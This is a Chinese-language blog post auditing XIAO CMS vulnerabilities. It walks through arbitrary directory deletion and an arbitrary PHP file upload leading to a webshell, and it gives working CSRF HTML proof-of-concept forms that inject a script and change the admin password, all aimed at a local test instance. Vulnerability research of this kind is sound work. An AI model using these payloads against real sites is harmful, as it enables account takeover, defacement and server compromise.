Close

[代码审计] XIAO CMS审计

XIAO CMS审计

翻安全客的时候看到xiao cms爆了6个cve审计一下

任意目录删除

image
跟进一下database.php
看到action是import找到那个函数
-w637
可以看到 paths 这个post参数并没有对./进行过滤,可以进行任意文件删除,而且payload的paths参数应该是post=。=
放一个自己的目录测试一下
-w546
创建了一个ckj123的目录,试下能不能删除
-w977
-w560
成功

上传任意文件

-w271
很明显的可以看到uploadfile.php文件
找到上传文件的地方

所有的upload需要一个upload函数
-w768
看到他加载了一个叫做upload的类
然后获得了文件最后的扩展名,判断了是图片还是别的文件
跟进upload
-w833
跟进upload类
-w672
里面有个过滤的地方
image
image
获得后缀,跟限制的类型进行比较
-w617
可以看到这个type是需要自己传进去的
-w837
总共两个action
下面那个的type是规定死的
发现上面那个的type是需要自己传进去的这就可以传php文件了
-w962

<html>
    <body>
    <form action="http://127.0.0.1:8080/admin/index.php?c=uploadfile&a=uploadify_upload&type=php&size=1000" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="submit" value="submit" />
    </form>
</body>
</html>

CVE给的payload不对。。
-w780
成功了,然后连接一下这个马
-w972

CSRF

他没有判断referer是从哪里来的,可以随意csrf,举两个例子
任意添加一个xss面板

<html>
  <body>
    <form action="http://127.0.0.1:8080/admin/index.php?c=content&a=add&catid=3" method="POST">
      <input type="hidden" name="data[catid]" value="3" />
      <input type="hidden" name="data[title]" value="test" />
      <input type="hidden" name="data[thumb]" value="" />
      <input type="hidden" name="data[keywords]" value="" />
      <input type="hidden" name="data[description]" value="" />
      <input type="hidden" name="data[content]" value="<script>alert(1)</script>" />
      <input type="hidden" name="data[xiao_auto_description]" value="1" />
      <input type="hidden" name="data[xiao_auto_thumb]" value="1" />
      <input type="hidden" name="data[xiao_download_image]" value="1" />
      <input type="hidden" name="data[time]" value="2018-11-02+15:05:43" />
      <input type="hidden" name="data[hits]" value="" />
      <input type="hidden" name="submit" value="提交" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

改管理员的密码

<form action="http://127.0.0.1:8080/admin/index.php?c=index&a=my" method="POST">       
<input type="hidden" name="data[password]" value="1234567">
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>

后记

xss的漏洞没看,以后有空补上,xss要跟的地方太多了=。=,太菜了

Leave a Reply

Your email address will not be published. Required fields are marked *